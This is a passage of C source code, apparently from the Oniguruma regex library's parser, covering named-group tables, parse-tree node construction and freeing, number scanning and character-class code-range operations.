(IS_NOT_NULL(t) && t->num > 0) { fprintf(fp, "name table\n"); for (i = 0; i < t->num; i++) { e = &(t->e[i]); fprintf(fp, "%s: ", e->name); if (e->back_num == 0) { fputs("-", fp); } else if (e->back_num == 1) { fprintf(fp, "%d", e->back_ref1); } else { for (j = 0; j < e->back_num; j++) { if (j > 0) fprintf(fp, ", "); fprintf(fp, "%d", e->back_refs[j]); } } fputs("\n", fp); } fputs("\n", fp); } return 0; } #endif static int names_clear(regex_t* reg) { int i; NameEntry* e; NameTable* t = (NameTable* )reg->name_table; if (IS_NOT_NULL(t)) { for (i = 0; i < t->num; i++) { e = &(t->e[i]); if (IS_NOT_NULL(e->name)) { xfree(e->name); e->name = NULL; e->name_len = 0; e->back_num = 0; e->back_alloc = 0; if (IS_NOT_NULL(e->back_refs)) xfree(e->back_refs); e->back_refs = (int* )NULL; } } if (IS_NOT_NULL(t->e)) { xfree(t->e); t->e = NULL; } t->num = 0; } return 0; } extern int onig_names_free(regex_t* reg) { int r; NameTable* t; r = names_clear(reg); if (r) return r; t = (NameTable* )reg->name_table; if (IS_NOT_NULL(t)) xfree(t); reg->name_table = NULL; return 0; } static NameEntry* name_find(regex_t* reg, UChar* name, UChar* name_end) { int i, len; NameEntry* e; NameTable* t = (NameTable* )reg->name_table; if (IS_NOT_NULL(t)) { len = name_end - name; for (i = 0; i < t->num; i++) { e = &(t->e[i]); if (len == e->name_len && onig_strncmp(name, e->name, len) == 0) return e; } } return (NameEntry* )NULL; } extern int onig_foreach_name(regex_t* reg, int (*func)(const UChar*, const UChar*,int,int*,regex_t*,void*), void* arg) { int i, r; NameEntry* e; NameTable* t = (NameTable* )reg->name_table; if (IS_NOT_NULL(t)) { for (i = 0; i < t->num; i++) { e = &(t->e[i]); r = (*func)(e->name, e->name + e->name_len, e->back_num, (e->back_num > 1 ? e->back_refs : &(e->back_ref1)), reg, arg); if (r != 0) return r; } } return 0; } extern int onig_number_of_names(regex_t* reg) { NameTable* t = (NameTable* )reg->name_table; if (IS_NOT_NULL(t)) return t->num; else return 0; } #endif /* else USE_ST_LIBRARY */ static int name_add(regex_t* reg, UChar* name, UChar* name_end, int backref, ScanEnv* env) { int alloc; NameEntry* e; NameTable* t = (NameTable* )reg->name_table; if (name_end - name <= 0) return ONIGERR_EMPTY_GROUP_NAME; e = name_find(reg, name, name_end); if (IS_NULL(e)) { #ifdef USE_ST_LIBRARY if (IS_NULL(t)) { t = onig_st_init_strend_table_with_size(5); reg->name_table = (void* )t; } e = (NameEntry* )xmalloc(sizeof(NameEntry)); CHECK_NULL_RETURN_MEMERR(e); e->name = strdup_with_null(reg->enc, name, name_end); if (IS_NULL(e->name)) { xfree(e); return ONIGERR_MEMORY; } onig_st_insert_strend(t, e->name, (e->name + (name_end - name)), (HashDataType )e); e->name_len = name_end - name; e->back_num = 0; e->back_alloc = 0; e->back_refs = (int* )NULL; #else if (IS_NULL(t)) { alloc = INIT_NAMES_ALLOC_NUM; t = (NameTable* )xmalloc(sizeof(NameTable)); CHECK_NULL_RETURN_MEMERR(t); t->e = NULL; t->alloc = 0; t->num = 0; t->e = (NameEntry* )xmalloc(sizeof(NameEntry) * alloc); if (IS_NULL(t->e)) { xfree(t); return ONIGERR_MEMORY; } t->alloc = alloc; reg->name_table = t; goto clear; } else if (t->num == t->alloc) { int i; alloc = t->alloc * 2; t->e = (NameEntry* )xrealloc(t->e, sizeof(NameEntry) * alloc); CHECK_NULL_RETURN_MEMERR(t->e); t->alloc = alloc; clear: for (i = t->num; i < t->alloc; i++) { t->e[i].name = NULL; t->e[i].name_len = 0; t->e[i].back_num = 0; t->e[i].back_alloc = 0; t->e[i].back_refs = (int* )NULL; } } e = &(t->e[t->num]); t->num++; e->name = strdup_with_null(reg->enc, name, name_end); if (IS_NULL(e->name)) return ONIGERR_MEMORY; e->name_len = name_end - name; #endif } if (e->back_num >= 1 && ! IS_SYNTAX_BV(env->syntax, ONIG_SYN_ALLOW_MULTIPLEX_DEFINITION_NAME)) { onig_scan_env_set_error_string(env, ONIGERR_MULTIPLEX_DEFINED_NAME, name, name_end); return ONIGERR_MULTIPLEX_DEFINED_NAME; } e->back_num++; if (e->back_num == 1) { e->back_ref1 = backref; } else { if (e->back_num == 2) { alloc = INIT_NAME_BACKREFS_ALLOC_NUM; e->back_refs = (int* )xmalloc(sizeof(int) * alloc); CHECK_NULL_RETURN_MEMERR(e->back_refs); e->back_alloc = alloc; e->back_refs[0] = e->back_ref1; e->back_refs[1] = backref; } else { if (e->back_num > e->back_alloc) { alloc = e->back_alloc * 2; e->back_refs = (int* )xrealloc(e->back_refs, sizeof(int) * alloc); CHECK_NULL_RETURN_MEMERR(e->back_refs); e->back_alloc = alloc; } e->back_refs[e->back_num - 1] = backref; } } return 0; } extern int onig_name_to_group_numbers(regex_t* reg, const UChar* name, const UChar* name_end, int** nums) { NameEntry* e = name_find(reg, name, name_end); if (IS_NULL(e)) return ONIGERR_UNDEFINED_NAME_REFERENCE; switch (e->back_num) { case 0: break; case 1: *nums = &(e->back_ref1); break; default: *nums = e->back_refs; break; } return e->back_num; } extern int onig_name_to_backref_number(regex_t* reg, const UChar* name, const UChar* name_end, OnigRegion *region) { int i, n, *nums; n = onig_name_to_group_numbers(reg, name, name_end, &nums); if (n < 0) return n; else if (n == 0) return ONIGERR_PARSER_BUG; else if (n == 1) return nums[0]; else { if (IS_NOT_NULL(region)) { for (i = n - 1; i >= 0; i--) { if (region->beg[nums[i]] != ONIG_REGION_NOTPOS) return nums[i]; } } return nums[n - 1]; } } #else /* USE_NAMED_GROUP */ extern int onig_name_to_group_numbers(regex_t* reg, const UChar* name, const UChar* name_end, int** nums) { return ONIG_NO_SUPPORT_CONFIG; } extern int onig_name_to_backref_number(regex_t* reg, const UChar* name, const UChar* name_end, OnigRegion* region) { return ONIG_NO_SUPPORT_CONFIG; } extern int onig_foreach_name(regex_t* reg, int (*func)(const UChar*, const UChar*,int,int*,regex_t*,void*), void* arg) { return ONIG_NO_SUPPORT_CONFIG; } extern int onig_number_of_names(regex_t* reg) { return 0; } #endif /* else USE_NAMED_GROUP */ extern int onig_noname_group_capture_is_active(regex_t* reg) { if (ONIG_IS_OPTION_ON(reg->options, ONIG_OPTION_DONT_CAPTURE_GROUP)) return 0; #ifdef USE_NAMED_GROUP if (onig_number_of_names(reg) > 0 && IS_SYNTAX_BV(reg->syntax, ONIG_SYN_CAPTURE_ONLY_NAMED_GROUP) && !ONIG_IS_OPTION_ON(reg->options, ONIG_OPTION_CAPTURE_GROUP)) { return 0; } #endif return 1; } #define INIT_SCANENV_MEMNODES_ALLOC_SIZE 16 static void scan_env_clear(ScanEnv* env) { int i; BIT_STATUS_CLEAR(env->capture_history); BIT_STATUS_CLEAR(env->bt_mem_start); BIT_STATUS_CLEAR(env->bt_mem_end); BIT_STATUS_CLEAR(env->backrefed_mem); env->error = (UChar* )NULL; env->error_end = (UChar* )NULL; env->num_call = 0; env->num_mem = 0; #ifdef USE_NAMED_GROUP env->num_named = 0; #endif env->mem_alloc = 0; env->mem_nodes_dynamic = (Node** )NULL; for (i = 0; i < SCANENV_MEMNODES_SIZE; i++) env->mem_nodes_static[i] = NULL_NODE; #ifdef USE_COMBINATION_EXPLOSION_CHECK env->num_comb_exp_check = 0; env->comb_exp_max_regnum = 0; env->curr_max_regnum = 0; env->has_recursion = 0; #endif env->parse_depth = 0; } static int scan_env_add_mem_entry(ScanEnv* env) { int i, need, alloc; Node** p; need = env->num_mem + 1; if (need > MaxCaptureNum && MaxCaptureNum != 0) return ONIGERR_TOO_MANY_CAPTURES; if (need >= SCANENV_MEMNODES_SIZE) { if (env->mem_alloc <= need) { if (IS_NULL(env->mem_nodes_dynamic)) { alloc = INIT_SCANENV_MEMNODES_ALLOC_SIZE; p = (Node** )xmalloc(sizeof(Node*) * alloc); xmemcpy(p, env->mem_nodes_static, sizeof(Node*) * SCANENV_MEMNODES_SIZE); } else { alloc = env->mem_alloc * 2; p = (Node** )xrealloc(env->mem_nodes_dynamic, sizeof(Node*) * alloc); } CHECK_NULL_RETURN_MEMERR(p); for (i = env->num_mem + 1; i < alloc; i++) p[i] = NULL_NODE; env->mem_nodes_dynamic = p; env->mem_alloc = alloc; } } env->num_mem++; return env->num_mem; } static int scan_env_set_mem_node(ScanEnv* env, int num, Node* node) { if (env->num_mem >= num) SCANENV_MEM_NODES(env)[num] = node; else return ONIGERR_PARSER_BUG; return 0; } extern void onig_node_free(Node* node) { start: if (IS_NULL(node)) return ; #ifdef DEBUG_NODE_FREE fprintf(stderr, "onig_node_free: %p\n", node); #endif switch (NTYPE(node)) { case NT_STR: if (NSTR(node)->capa != 0 && IS_NOT_NULL(NSTR(node)->s) && NSTR(node)->s != NSTR(node)->buf) { xfree(NSTR(node)->s); } break; case NT_LIST: case NT_ALT: onig_node_free(NCAR(node)); { Node* next_node = NCDR(node); xfree(node); node = next_node; goto start; } break; case NT_CCLASS: { CClassNode* cc = NCCLASS(node); if (IS_NCCLASS_SHARE(cc)) return ; if (cc->mbuf) bbuf_free(cc->mbuf); } break; case NT_QTFR: if (NQTFR(node)->target) onig_node_free(NQTFR(node)->target); break; case NT_ENCLOSE: if (NENCLOSE(node)->target) onig_node_free(NENCLOSE(node)->target); break; case NT_BREF: if (IS_NOT_NULL(NBREF(node)->back_dynamic)) xfree(NBREF(node)->back_dynamic); break; case NT_ANCHOR: if (NANCHOR(node)->target) onig_node_free(NANCHOR(node)->target); break; } xfree(node); } static Node* node_new(void) { Node* node; node = (Node* )xmalloc(sizeof(Node)); /* xmemset(node, 0, sizeof(Node)); */ #ifdef DEBUG_NODE_FREE fprintf(stderr, "node_new: %p\n", node); #endif return node; } static void initialize_cclass(CClassNode* cc) { BITSET_CLEAR(cc->bs); /* cc->base.flags = 0; */ cc->flags = 0; cc->mbuf = NULL; } static Node* node_new_cclass(void) { Node* node = node_new(); CHECK_NULL_RETURN(node); SET_NTYPE(node, NT_CCLASS); initialize_cclass(NCCLASS(node)); return node; } static Node* node_new_ctype(int type, int not) { Node* node = node_new(); CHECK_NULL_RETURN(node); SET_NTYPE(node, NT_CTYPE); NCTYPE(node)->ctype = type; NCTYPE(node)->not = not; return node; } static Node* node_new_anychar(void) { Node* node = node_new(); CHECK_NULL_RETURN(node); SET_NTYPE(node, NT_CANY); return node; } static Node* node_new_list(Node* left, Node* right) { Node* node = node_new(); CHECK_NULL_RETURN(node); SET_NTYPE(node, NT_LIST); NCAR(node) = left; NCDR(node) = right; return node; } extern Node* onig_node_new_list(Node* left, Node* right) { return node_new_list(left, right); } extern Node* onig_node_list_add(Node* list, Node* x) { Node *n; n = onig_node_new_list(x, NULL); if (IS_NULL(n)) return NULL_NODE; if (IS_NOT_NULL(list)) { while (IS_NOT_NULL(NCDR(list))) list = NCDR(list); NCDR(list) = n; } return n; } extern Node* onig_node_new_alt(Node* left, Node* right) { Node* node = node_new(); CHECK_NULL_RETURN(node); SET_NTYPE(node, NT_ALT); NCAR(node) = left; NCDR(node) = right; return node; } extern Node* onig_node_new_anchor(int type) { Node* node = node_new(); CHECK_NULL_RETURN(node); SET_NTYPE(node, NT_ANCHOR); NANCHOR(node)->type = type; NANCHOR(node)->target = NULL; NANCHOR(node)->char_len = -1; return node; } static Node* node_new_backref(int back_num, int* backrefs, int by_name, #ifdef USE_BACKREF_WITH_LEVEL int exist_level, int nest_level, #endif ScanEnv* env) { int i; Node* node = node_new(); CHECK_NULL_RETURN(node); SET_NTYPE(node, NT_BREF); NBREF(node)->state = 0; NBREF(node)->back_num = back_num; NBREF(node)->back_dynamic = (int* )NULL; if (by_name != 0) NBREF(node)->state |= NST_NAME_REF; #ifdef USE_BACKREF_WITH_LEVEL if (exist_level != 0) { NBREF(node)->state |= NST_NEST_LEVEL; NBREF(node)->nest_level = nest_level; } #endif for (i = 0; i < back_num; i++) { if (backrefs[i] <= env->num_mem && IS_NULL(SCANENV_MEM_NODES(env)[backrefs[i]])) { NBREF(node)->state |= NST_RECURSION; /* /...(\1).../ */ break; } } if (back_num <= NODE_BACKREFS_SIZE) { for (i = 0; i < back_num; i++) NBREF(node)->back_static[i] = backrefs[i]; } else { int* p = (int* )xmalloc(sizeof(int) * back_num); if (IS_NULL(p)) { onig_node_free(node); return NULL; } NBREF(node)->back_dynamic = p; for (i = 0; i < back_num; i++) p[i] = backrefs[i]; } return node; } #ifdef USE_SUBEXP_CALL static Node* node_new_call(UChar* name, UChar* name_end, int gnum) { Node* node = node_new(); CHECK_NULL_RETURN(node); SET_NTYPE(node, NT_CALL); NCALL(node)->state = 0; NCALL(node)->target = NULL_NODE; NCALL(node)->name = name; NCALL(node)->name_end = name_end; NCALL(node)->group_num = gnum; /* call by number if gnum != 0 */ return node; } #endif static Node* node_new_quantifier(int lower, int upper, int by_number) { Node* node = node_new(); CHECK_NULL_RETURN(node); SET_NTYPE(node, NT_QTFR); NQTFR(node)->state = 0; NQTFR(node)->target = NULL; NQTFR(node)->lower = lower; NQTFR(node)->upper = upper; NQTFR(node)->greedy = 1; NQTFR(node)->target_empty_info = NQ_TARGET_ISNOT_EMPTY; NQTFR(node)->head_exact = NULL_NODE; NQTFR(node)->next_head_exact = NULL_NODE; NQTFR(node)->is_refered = 0; if (by_number != 0) NQTFR(node)->state |= NST_BY_NUMBER; #ifdef USE_COMBINATION_EXPLOSION_CHECK NQTFR(node)->comb_exp_check_num = 0; #endif return node; } static Node* node_new_enclose(int type) { Node* node = node_new(); CHECK_NULL_RETURN(node); SET_NTYPE(node, NT_ENCLOSE); NENCLOSE(node)->type = type; NENCLOSE(node)->state = 0; NENCLOSE(node)->regnum = 0; NENCLOSE(node)->option = 0; NENCLOSE(node)->target = NULL; NENCLOSE(node)->call_addr = -1; NENCLOSE(node)->opt_count = 0; return node; } extern Node* onig_node_new_enclose(int type) { return node_new_enclose(type); } static Node* node_new_enclose_memory(OnigOptionType option, int is_named) { Node* node = node_new_enclose(ENCLOSE_MEMORY); CHECK_NULL_RETURN(node); if (is_named != 0) SET_ENCLOSE_STATUS(node, NST_NAMED_GROUP); #ifdef USE_SUBEXP_CALL NENCLOSE(node)->option = option; #endif return node; } static Node* node_new_option(OnigOptionType option) { Node* node = node_new_enclose(ENCLOSE_OPTION); CHECK_NULL_RETURN(node); NENCLOSE(node)->option = option; return node; } extern int onig_node_str_cat(Node* node, const UChar* s, const UChar* end) { int addlen = end - s; if (addlen > 0) { int len = NSTR(node)->end - NSTR(node)->s; if (NSTR(node)->capa > 0 || (len + addlen > NODE_STR_BUF_SIZE - 1)) { UChar* p; int capa = len + addlen + NODE_STR_MARGIN; if (capa <= NSTR(node)->capa) { onig_strcpy(NSTR(node)->s + len, s, end); } else { if (NSTR(node)->s == NSTR(node)->buf) p = strcat_capa_from_static(NSTR(node)->s, NSTR(node)->end, s, end, capa); else p = strcat_capa(NSTR(node)->s, NSTR(node)->end, s, end, capa); CHECK_NULL_RETURN_MEMERR(p); NSTR(node)->s = p; NSTR(node)->capa = capa; } } else { onig_strcpy(NSTR(node)->s + len, s, end); } NSTR(node)->end = NSTR(node)->s + len + addlen; } return 0; } extern int onig_node_str_set(Node* node, const UChar* s, const UChar* end) { onig_node_str_clear(node); return onig_node_str_cat(node, s, end); } static int node_str_cat_char(Node* node, UChar c) { UChar s[1]; s[0] = c; return onig_node_str_cat(node, s, s + 1); } extern void onig_node_conv_to_str_node(Node* node, int flag) { SET_NTYPE(node, NT_STR); NSTR(node)->flag = flag; NSTR(node)->capa = 0; NSTR(node)->s = NSTR(node)->buf; NSTR(node)->end = NSTR(node)->buf; } extern void onig_node_str_clear(Node* node) { if (NSTR(node)->capa != 0 && IS_NOT_NULL(NSTR(node)->s) && NSTR(node)->s != NSTR(node)->buf) { xfree(NSTR(node)->s); } NSTR(node)->capa = 0; NSTR(node)->flag = 0; NSTR(node)->s = NSTR(node)->buf; NSTR(node)->end = NSTR(node)->buf; } static Node* node_new_str(const UChar* s, const UChar* end) { Node* node = node_new(); CHECK_NULL_RETURN(node); SET_NTYPE(node, NT_STR); NSTR(node)->capa = 0; NSTR(node)->flag = 0; NSTR(node)->s = NSTR(node)->buf; NSTR(node)->end = NSTR(node)->buf; if (onig_node_str_cat(node, s, end)) { onig_node_free(node); return NULL; } return node; } extern Node* onig_node_new_str(const UChar* s, const UChar* end) { return node_new_str(s, end); } static Node* node_new_str_raw(UChar* s, UChar* end) { Node* node = node_new_str(s, end); NSTRING_SET_RAW(node); return node; } static Node* node_new_empty(void) { return node_new_str(NULL, NULL); } static Node* node_new_str_raw_char(UChar c) { UChar p[1]; p[0] = c; return node_new_str_raw(p, p + 1); } static Node* str_node_split_last_char(StrNode* sn, OnigEncoding enc) { const UChar *p; Node* n = NULL_NODE; if (sn->end > sn->s) { p = onigenc_get_prev_char_head(enc, sn->s, sn->end); if (p && p > sn->s) { /* can be split. */ n = node_new_str(p, sn->end); if ((sn->flag & NSTR_RAW) != 0) NSTRING_SET_RAW(n); sn->end = (UChar* )p; } } return n; } static int str_node_can_be_split(StrNode* sn, OnigEncoding enc) { if (sn->end > sn->s) { return ((enclen(enc, sn->s) < sn->end - sn->s) ? 1 : 0); } return 0; } #ifdef USE_PAD_TO_SHORT_BYTE_CHAR static int node_str_head_pad(StrNode* sn, int num, UChar val) { UChar buf[NODE_STR_BUF_SIZE]; int i, len; len = sn->end - sn->s; onig_strcpy(buf, sn->s, sn->end); onig_strcpy(&(sn->s[num]), buf, buf + len); sn->end += num; for (i = 0; i < num; i++) { sn->s[i] = val; } } #endif extern int onig_scan_unsigned_number(UChar** src, const UChar* end, OnigEncoding enc) { unsigned int num, val; OnigCodePoint c; UChar* p = *src; PFETCH_READY; num = 0; while (!PEND) { PFETCH(c); if (ONIGENC_IS_CODE_DIGIT(enc, c)) { val = (unsigned int )DIGITVAL(c); if ((INT_MAX_LIMIT - val) / 10UL < num) return -1; /* overflow */ num = num * 10 + val; } else { PUNFETCH; break; } } *src = p; return num; } static int scan_unsigned_hexadecimal_number(UChar** src, UChar* end, int maxlen, OnigEncoding enc) { OnigCodePoint c; unsigned int num, val; UChar* p = *src; PFETCH_READY; num = 0; while (! PEND && maxlen-- != 0) { PFETCH(c); if (ONIGENC_IS_CODE_XDIGIT(enc, c)) { val = (unsigned int )XDIGITVAL(enc,c); if ((INT_MAX_LIMIT - val) / 16UL < num) return -1; /* overflow */ num = (num << 4) + XDIGITVAL(enc,c); } else { PUNFETCH; break; } } *src = p; return num; } static int scan_unsigned_octal_number(UChar** src, UChar* end, int maxlen, OnigEncoding enc) { OnigCodePoint c; unsigned int num, val; UChar* p = *src; PFETCH_READY; num = 0; while (!PEND && maxlen-- != 0) { PFETCH(c); if (ONIGENC_IS_CODE_DIGIT(enc, c) && c < '8') { val = ODIGITVAL(c); if ((INT_MAX_LIMIT - val) / 8UL < num) return -1; /* overflow */ num = (num << 3) + val; } else { PUNFETCH; break; } } *src = p; return num; } #define BBUF_WRITE_CODE_POINT(bbuf,pos,code) \ BBUF_WRITE(bbuf, pos, &(code), SIZE_CODE_POINT) /* data format: [n][from-1][to-1][from-2][to-2] ... [from-n][to-n] (all data size is OnigCodePoint) */ static int new_code_range(BBuf** pbuf) { #define INIT_MULTI_BYTE_RANGE_SIZE (SIZE_CODE_POINT * 5) int r; OnigCodePoint n; BBuf* bbuf; bbuf = *pbuf = (BBuf* )xmalloc(sizeof(BBuf)); CHECK_NULL_RETURN_MEMERR(*pbuf); r = BBUF_INIT(*pbuf, INIT_MULTI_BYTE_RANGE_SIZE); if (r) return r; n = 0; BBUF_WRITE_CODE_POINT(bbuf, 0, n); return 0; } static int add_code_range_to_buf(BBuf** pbuf, OnigCodePoint from, OnigCodePoint to) { int r, inc_n, pos; int low, high, bound, x; OnigCodePoint n, *data; BBuf* bbuf; if (from > to) { n = from; from = to; to = n; } if (IS_NULL(*pbuf)) { r = new_code_range(pbuf); if (r) return r; bbuf = *pbuf; n = 0; } else { bbuf = *pbuf; GET_CODE_POINT(n, bbuf->p); } data = (OnigCodePoint* )(bbuf->p); data++; for (low = 0, bound = n; low < bound; ) { x = (low + bound) >> 1; if (from > data[x*2 + 1]) low = x + 1; else bound = x; } high = (to == ~((OnigCodePoint )0)) ? n : low; for (bound = n; high < bound; ) { x = (high + bound) >> 1; if (to + 1 >= data[x*2]) high = x + 1; else bound = x; } inc_n = low + 1 - high; if (n + inc_n > ONIG_MAX_MULTI_BYTE_RANGES_NUM) return ONIGERR_TOO_MANY_MULTI_BYTE_RANGES; if (inc_n != 1) { if (from > data[low*2]) from = data[low*2]; if (to < data[(high - 1)*2 + 1]) to = data[(high - 1)*2 + 1]; } if (inc_n != 0 && (OnigCodePoint )high < n) { int from_pos = SIZE_CODE_POINT * (1 + high * 2); int to_pos = SIZE_CODE_POINT * (1 + (low + 1) * 2); int size = (n - high) * 2 * SIZE_CODE_POINT; if (inc_n > 0) { BBUF_MOVE_RIGHT(bbuf, from_pos, to_pos, size); } else { BBUF_MOVE_LEFT_REDUCE(bbuf, from_pos, to_pos); } } pos = SIZE_CODE_POINT * (1 + low * 2); BBUF_ENSURE_SIZE(bbuf, pos + SIZE_CODE_POINT * 2); BBUF_WRITE_CODE_POINT(bbuf, pos, from); BBUF_WRITE_CODE_POINT(bbuf, pos + SIZE_CODE_POINT, to); n += inc_n; BBUF_WRITE_CODE_POINT(bbuf, 0, n); return 0; } static int add_code_range(BBuf** pbuf, ScanEnv* env, OnigCodePoint from, OnigCodePoint to) { if (from > to) { if (IS_SYNTAX_BV(env->syntax, ONIG_SYN_ALLOW_EMPTY_RANGE_IN_CC)) return 0; else return ONIGERR_EMPTY_RANGE_IN_CHAR_CLASS; } return add_code_range_to_buf(pbuf, from, to); } static int not_code_range_buf(OnigEncoding enc, BBuf* bbuf, BBuf** pbuf) { int r, i, n; OnigCodePoint pre, from, *data, to = 0; *pbuf = (BBuf* )NULL; if (IS_NULL(bbuf)) { set_all: return SET_ALL_MULTI_BYTE_RANGE(enc, pbuf); } data = (OnigCodePoint* )(bbuf->p); GET_CODE_POINT(n, data); data++; if (n <= 0) goto set_all; r = 0; pre = MBCODE_START_POS(enc); for (i = 0; i < n; i++) { from = data[i*2]; to = data[i*2+1]; if (pre <= from - 1) { r = add_code_range_to_buf(pbuf, pre, from - 1); if (r != 0) return r; } if (to == ~((OnigCodePoint )0)) break; pre = to + 1; } if (to < ~((OnigCodePoint )0)) { r = add_code_range_to_buf(pbuf, to + 1, ~((OnigCodePoint )0)); } return r; } #define SWAP_BBUF_NOT(bbuf1, not1, bbuf2, not2) do {\ BBuf *tbuf; \ int tnot; \ tnot = not1; not1 = not2; not2 = tnot; \ tbuf = bbuf1; bbuf1 = bbuf2; bbuf2 = tbuf; \ } while (0) static int or_code_range_buf(OnigEncoding enc, BBuf* bbuf1, int not1, BBuf* bbuf2, int not2, BBuf** pbuf) { int r; OnigCodePoint i, n1, *data1; OnigCodePoint from, to; *pbuf = (BBuf* )NULL; if (IS_NULL(bbuf1) && IS_NULL(bbuf2)) { if (not1 != 0 || not2 != 0) return SET_ALL_MULTI_BYTE_RANGE(enc, pbuf); return 0; } r = 0; if (IS_NULL(bbuf2)) SWAP_BBUF_NOT(bbuf1, not1, bbuf2, not2); if (IS_NULL(bbuf1)) { if (not1 != 0) { return SET_ALL_MULTI_BYTE_RANGE(enc, pbuf); } else { if (not2 == 0) { return bbuf_clone(pbuf, bbuf2); } else { return not_code_range_buf(enc, bbuf2, pbuf); } } } if (not1 != 0) SWAP_BBUF_NOT(bbuf1, not1, bbuf2, not2); data1 = (OnigCodePoint* )(bbuf1->p); GET_CODE_POINT(n1, data1); data1++; if (not2 == 0 && not1 == 0) { /* 1 OR 2 */ r = bbuf_clone(pbuf, bbuf2); } else if (not1 == 0) { /* 1 OR (not 2) */ r = not_code_range_buf(enc, bbuf2, pbuf); } if (r != 0) return r; for (i = 0; i < n1; i++) { from = data1[i*2]; to = data1[i*2+1]; r = add_code_range_to_buf(pbuf, from, to); if (r != 0) return r; } return 0; } static int and_code_range1(BBuf** pbuf, OnigCodePoint from1, OnigCodePoint to1, OnigCodePoint* data, int n) { int i, r; OnigCodePoint from2, to2; for (i = 0; i < n; i++) { from2 = data[i*2]; to2 = data[i*2+1]; if (from2 < from1) { if (to2 < from1) continue; else { from1 = to2 + 1; } } else if (from2 <= to1) { if (to2 < to1) { if (from1 <= from2 - 1) { r = add_code_range_to_buf(pbuf, from1, from2-1); if (r != 0) return r; } from1 = to2 + 1; } else { to1 = from2 - 1; } } else { from1 = from2; } if (from1 > to1) break; } if (from1 <= to1) { r = add_code_range_to_buf(pbuf, from1, to1); if (r != 0) return r; } return 0; } static int and_code_range_buf(BBuf* bbuf1, int not1, BBuf* bbuf2, int not2, BBuf** pbuf) { int r; OnigCodePoint i, j, n1, n2, *data1, *data2; OnigCodePoint from, to, from1, to1, from2, to2; *pbuf = (BBuf* )NULL; if (IS_NULL(bbuf1)) { if (not1 != 0 && IS_NOT_NULL(bbuf2)) /* not1 != 0 -> not2 == 0 */ return bbuf_clone(pbuf, bbuf2); return 0; } else if (IS_NULL(bbuf2)) { if (not2 != 0) return bbuf_clone(pbuf, bbuf1); return 0; } if (not1 != 0) SWAP_BBUF_NOT(bbuf1, not1, bbuf2, not2); data1 = (OnigCodePoint* )(bbuf1->p); data2 = (OnigCodePoint* )(bbuf2->p); GET_CODE_POINT(n1, data1); GET_CODE_POINT(n2, data2); data1++; data2++; if (not2 == 0 && not1 == 0) { /* 1 AND 2 */ for (i = 0; i < n1; i++) { from1 = data1[i*2]; to1 = data1[i*2+1]; for (j = 0; j < n2; j++) { from2 = data2[j*2]; to2 = data2[j*2+1]; if (from2 > to1) break; if (to2 < from1) continue; from = MAX(from1, from2); to = MIN(to1, to2); r = add_code_range_to_buf(pbuf, from, to); if (r != 0) return r; } } } else if (not1 == 0) { /* 1 AND (not 2) */ for (i = 0; i < n1; i++) { from1 = data1[i*2]; to1 = data1[i*2+1]; r = and_code_range1(pbuf, from1, to1, data2, n2); if (r != 0) return r; } } return 0; } static int and_cclass(CClassNode* dest, CClassNode* cc, OnigEncoding enc) { int r, not1, not2; BBuf *buf1, *buf2, *pbuf; BitSetRef bsr1, bsr2; BitSet bs1, bs2; not1 = IS_NCCLASS_NOT(dest); bsr1 = dest->bs; buf1 = dest->mbuf; not2 = IS_NCCLASS_NOT(cc); bsr2 = cc->bs; buf2 = cc->mbuf; if (not1 != 0) { bitset_invert_to(bsr1, bs1); bsr1 = bs1; } if (not2 != 0) { bitset_invert_to(bsr2, bs2); bsr2 = bs2; } bitset_and(bsr1, bsr2); if (bsr1 != dest->bs) { bitset_copy(dest->bs, bsr1); bsr1 = dest->bs; } if (not1 != 0) { bitset_invert(dest->bs); } if (! ONIGENC_IS_SINGLEBYTE(enc)) { if (not1 != 0 && not2 != 0) { r = or_code_range_buf(enc, buf1, 0, buf2, 0, &pbuf); } else { r = and_code_range_buf(buf1, not1, buf2, not2, &pbuf); if (r == 0 && not1 != 0) { BBuf *tbuf; r = not_code_range_buf(enc, pbuf, &tbuf); if (r != 0) { bbuf_free(pbuf); return r; } bbuf_free(pbuf); pbuf = tbuf; } } if (r != 0) return r; dest->mbuf = pbuf; bbuf_free(buf1); return r; } return 0; } static int or_cclass(CClassNode* dest, CClassNode* cc, OnigEncoding enc) { int r, not1, not2; BBuf *buf1, *buf2, *pbuf; BitSetRef bsr1, bsr2; BitSet bs1, bs2; not1 = IS_NCCLASS_NOT(dest); bsr1 = dest->bs; buf1 = dest->mbuf; not2 = IS_NCCLASS_NOT(cc); bsr2 = cc->bs; buf2 = cc->mbuf; if (not1 != 0) { bitset_invert_to(bsr1, bs1); bsr1 = bs1; } if (not2 != 0) { bitset_invert_to(bsr2, bs2); bsr2 = bs2; } bitset_or(bsr1, bsr2); if (bsr1 != dest->bs) { bitset_copy(dest->bs, bsr1); bsr1 = dest->bs; } if (not1 != 0) { bitset_invert(dest->bs); } if (! ONIGENC_IS_SINGLEBYTE(enc)) { if (not1 != 0 && not2 != 0) { r = and_code_range_buf(buf1, 0, buf2, 0, &pbuf); } else { r = or_code_range_buf(enc, buf1, not1, buf2, not2, &pbuf); if (r == 0 && not1 != 0) { BBuf *tbuf; r = not_code_range_buf(enc, pbuf, &tbuf); if (r != 0) { bbuf_free(pbuf); return r; } bbuf_free(pbuf); pbuf = tbuf; } } if (r != 0) return r; dest->mbuf = pbuf; bbuf_free(buf1); return r; } else return 0; } static OnigCodePoint conv_backslash_value(OnigCodePoint c, ScanEnv* env) { if (IS_SYNTAX_OP(env->syntax, ONIG_SYN_OP_ESC_CONTROL_CHARS)) { switch (c) { case 'n': return '\n'; case 't': return '\t'; case 'r': return '\r'; case 'f': return '\f'; case 'a': return '\007'; case 'b': return '\010'; case 'e': return '\033'; case 'v': if (IS_SYNTAX_OP2(env->syntax, ONIG_SYN_OP2_ESC_V_VTAB)) return '\v'; break; default: break; } } return c; } static int is_invalid_quantifier_target(Node* node) { switch (NTYPE(node)) { case NT_ANCHOR: return 1; break; case NT_ENCLOSE: /* allow enclosed elements */ /* return is_invalid_quantifier_target(NENCLOSE(node)->target); */ break; case NT_LIST: do { if (! is_invalid_quantifier_target(NCAR(node))) return 0; } while (IS_NOT_NULL(node = NCDR(node))); return 0; break; case NT_ALT: do { if (is_invalid_quantifier_target(NCAR(node))) return 1; } while (IS_NOT_NULL(node = NCDR(node))); break; default: break; } return 0; } /* ?:0, *:1, +:2, ??:3, *?:4, +?:5 */ static int popular_quantifier_num(QtfrNode* q) { if (q->greedy) { if (q->lower == 0) { if (q->upper == 1) return 0; else if (IS_REPEAT_INFINITE(q->upper)) return 1; } else if (q->lower == 1) { if (IS_REPEAT_INFINITE(q->upper)) return 2; } } else { if 